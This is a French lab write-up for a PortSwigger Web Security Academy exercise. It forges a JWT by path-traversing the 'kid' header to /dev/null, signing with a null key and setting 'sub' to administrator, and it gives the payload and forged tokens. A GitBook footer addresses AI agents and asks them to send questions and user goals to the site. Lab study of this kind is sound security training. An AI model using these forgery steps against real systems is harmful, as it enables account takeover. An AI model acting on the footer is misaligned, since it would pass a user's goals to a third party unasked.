> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# Contournement de l’authentification JWT via traversée de chemin kid

Notes sur le contournement de l’authentification JWT via traversée de chemin kid pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Contournement de l’authentification JWT via traversée de chemin dans l’en-tête kid

#### Contexte du laboratoire

L’application utilise JWT pour gérer les sessions. Pour vérifier la signature, le serveur lit l’en-tête du JWT et récupère la clé de vérification depuis le **système de fichiers** en fonction de la valeur du `kid` champ (Key ID). / Problème : la `kid` valeur n’est pas correctement validée, ce qui permet à une **traversée de chemin** de pointer vers un fichier système arbitraire.

Objectif : forger un JWT donnant accès à `/admin`, puis supprimer l’utilisateur **carlos**.

#### Point de départ

Après vous être connecté à `wiener:peter`, vous obtenez un JWT valide :

* En-tête : `alg = HS256`, `kid = <uuid>`
* Charge utile : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Idée de l’attaque

À mesure que `kid` sert de chemin pour charger la clé, nous pouvons essayer de la faire sortir du répertoire attendu avec `../` afin de cibler un fichier spécial : **`/dev/null`**.

* `/dev/null` se comporte comme un fichier « vide ».
* Si le serveur charge la clé depuis ce fichier, il trouve (dans ce scénario) pour vérifier la signature une clé équivalente à **nulle / vide**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construction d’une clé symétrique

Vous générez un octet nul et vous l’encodez en Base64 :

* Commande :

```bash
echo -ne '/0' | base64

AA==
```

Ensuite, vous construisez un JWK symétrique (`kty : oct`) dont la clé (`k`) est `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(Le JWK `kid` ici sert simplement d’identifiant côté outil ; c’est la `k` valeur.)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation : `kid` Traversée vers `/dev/null`

Vous modifiez ensuite l’en-tête du JWT pour pointer `kid` en `/dev/null` via la traversée de chemin :

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Ensuite, vous modifiez le `sub` dans la charge utile pour en faire un compte administrateur (dans votre cas `administrateur`) et vous signez le JWT en HS256 avec la clé « nulle » (`AA==`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Résultat

JWT forgé final (celui que vous fournissez) :

* `kid` traverse jusqu’à `/dev/null`
* `alg` reste `HS256`
* `sub` devient `administrateur`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

Le serveur \*\* accepte\*\* le jeton : il confirme que la `kid` résolution est utilisable et que la vérification de la signature est effectuée avec une clé dérivée du fichier cible (ici

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.